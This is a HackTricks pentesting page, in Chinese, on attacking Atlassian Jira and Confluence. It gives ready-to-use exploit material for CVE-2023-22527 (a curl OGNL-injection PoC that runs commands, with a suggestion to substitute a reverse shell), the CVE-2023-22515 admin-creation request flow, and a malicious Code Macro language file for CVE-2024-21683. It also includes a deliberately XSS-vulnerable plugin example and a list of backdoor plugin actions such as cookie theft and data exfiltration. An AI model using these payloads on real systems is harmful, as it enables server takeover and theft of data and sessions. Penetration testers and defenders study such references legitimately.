Jira & Confluence
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
检查权限
在 Jira 中,任何用户(已认证或未认证)都可以通过端点 /rest/api/2/mypermissions 或 /rest/api/3/mypermissions 检查权限。这些端点会显示用户当前拥有的权限。值得注意的是,当未认证用户拥有权限时,这表明存在一个可能符合赏金条件的安全漏洞。同样,已认证用户出现意外权限也同样表明存在漏洞。
在 2019 年 2 月 1 日 做了一个重要的 更新,要求 ‘mypermissions’ 端点必须包含一个 ‘permission’ 参数。此要求旨在通过指定要查询的权限来增强安全性:check it here
- ADD_COMMENTS
- ADMINISTER
- ADMINISTER_PROJECTS
- ASSIGNABLE_USER
- ASSIGN_ISSUES
- BROWSE_PROJECTS
- BULK_CHANGE
- CLOSE_ISSUES
- CREATE_ATTACHMENTS
- CREATE_ISSUES
- CREATE_PROJECT
- CREATE_SHARED_OBJECTS
- DELETE_ALL_ATTACHMENTS
- DELETE_ALL_COMMENTS
- DELETE_ALL_WORKLOGS
- DELETE_ISSUES
- DELETE_OWN_ATTACHMENTS
- DELETE_OWN_COMMENTS
- DELETE_OWN_WORKLOGS
- EDIT_ALL_COMMENTS
- EDIT_ALL_WORKLOGS
- EDIT_ISSUES
- EDIT_OWN_COMMENTS
- EDIT_OWN_WORKLOGS
- LINK_ISSUES
- MANAGE_GROUP_FILTER_SUBSCRIPTIONS
- MANAGE_SPRINTS_PERMISSION
- MANAGE_WATCHERS
- MODIFY_REPORTER
- MOVE_ISSUES
- RESOLVE_ISSUES
- SCHEDULE_ISSUES
- SET_ISSUE_SECURITY
- SYSTEM_ADMIN
- TRANSITION_ISSUES
- USER_PICKER
- VIEW_AGGREGATED_DATA
- VIEW_DEV_TOOLS
- VIEW_READONLY_WORKFLOW
- VIEW_VOTERS_AND_WATCHERS
- WORK_ON_ISSUES
示例: https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS
#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
自动化枚举
近期 RCE 与 实践利用笔记 (Confluence)
CVE-2023-22527 – 无需认证的 template/OGNL injection (10.0)
- 影响 Confluence Data Center/Server 8.0.x–8.5.3 & 8.4.5。易受攻击的 Velocity 模板
text-inline.vm允许在无需认证的情况下评估 OGNL 表达式。 - 快速 PoC(命令以 confluence 用户身份运行):
curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'
- 响应头
x-cmd将包含命令输出。将id替换为 reverse shell payload。 - 扫描器:nuclei template
http/cves/2023/CVE-2023-22527.yaml(随 nuclei-templates ≥9.7.5 发布)。
CVE-2023-22515 – setup reactivation admin creation (auth bypass)
- 对外可访问的 Confluence Data Center/Server 8.0.0–8.5.1 允许翻转
setupComplete并重新运行/setup/setupadministrator.action来创建新的管理员账户。 - 最小利用流程:
GET /server-info.action(无需认证)以确认可达性。- 使用包含
buildNumber参数的POST /server-info.action来切换 setup 标志。 - 使用包含
fullName、email、username、password、confirm的POST /setup/setupadministrator.action来创建管理员。
CVE-2024-21683 – authenticated RCE via Code Macro upload
- Confluence 管理员可以在 Configure Code Macro 中上传精心构造的语言定义;Rhino 引擎会执行其中嵌入的 Java,从而导致 RCE。
- 要获得 shell,请上传一个包含如下 payload 的
.lang文件:
<?xml version="1.0"?>
<languages>
<language key="pwn" name="pwn" namespace="java.lang">
<tokens>
<token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
</tokens>
</language>
</languages>
- 通过在任何 Code Macro 正文中选择恶意语言触发。Metasploit 模块
exploit/multi/http/atlassian_confluence_rce_cve_2024_21683自动化 auth + upload + exec。
Atlasian 插件
正如这篇 blog 所示,在关于 Plugin modules ↗ 的文档中,可以查看不同类型的插件,例如:
- REST Plugin Module ↗: 公开 RESTful API 端点
- Servlet Plugin Module ↗: 部署 Java servlets 作为插件的一部分
- Macro Plugin Module ↗: 实现 Confluence Macros,即参数化的 HTML 模板
This is an example of the macro plugin type:
Macro 插件示例
```java package com.atlassian.tutorial.macro;import com.atlassian.confluence.content.render.xhtml.ConversionContext; import com.atlassian.confluence.macro.Macro; import com.atlassian.confluence.macro.MacroExecutionException;
import java.util.Map;
public class helloworld implements Macro {
public String execute(Map<String, String> map, String body, ConversionContext conversionContext) throws MacroExecutionException { if (map.get(“Name”) != null) { return (“
Hello “ + map.get(“Name”) + “!
”); } else { return “Hello World!
”;
}
}
public BodyType getBodyType() { return BodyType.NONE; }
public OutputType getOutputType() { return OutputType.BLOCK; } }
</details>
可以观察到,这些插件可能易受常见的 web 漏洞(例如 XSS)的影响。例如,上面的示例存在漏洞,因为它反射了用户提供的数据。
一旦发现 XSS,可以在 [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) 中找到一些 payloads 来扩大 XSS 的影响。
## Backdoor Plugin
[**This post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) 描述了恶意 Jira 插件可能执行的不同(恶意)操作。你可以在 [**code example in this repo**](https://github.com/cyllective/malfluence) 找到代码示例。
These are some of the actions a malicious plugin could perform:
- **Hiding Plugins from Admins**: 可以通过注入一些 front-end javascript 来隐藏恶意插件。
- **Exfiltrating Attachments and Pages**: 允许访问并 exfiltrate 所有数据。
- **Stealing Session Tokens**: 可以添加一个 endpoint,在响应中回显 headers(包含 cookie),并添加一些 javascript 去联系该 endpoint 并 leak the cookies。
- **Command Execution**: 当然可以创建一个会执行代码的插件。
- **Reverse Shell**: 或者获取一个 reverse shell。
- **DOM Proxying**: 如果 confluence 位于私有网络内,可以通过具有访问权限的用户的浏览器建立连接,例如通过该连接联系服务器并执行命令。
## References
- [Atlassian advisory – CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html)
- [CISA AA23-289A – Active exploitation of Confluence CVE-2023-22515](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-289a)
> [!TIP]
> 学习和实践 AWS 黑客技术:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> 学习和实践 GCP 黑客技术:<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> 学习和实践 Azure 黑客技术:<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>支持 HackTricks</summary>
>
> - 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
> - **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
>
> </details>


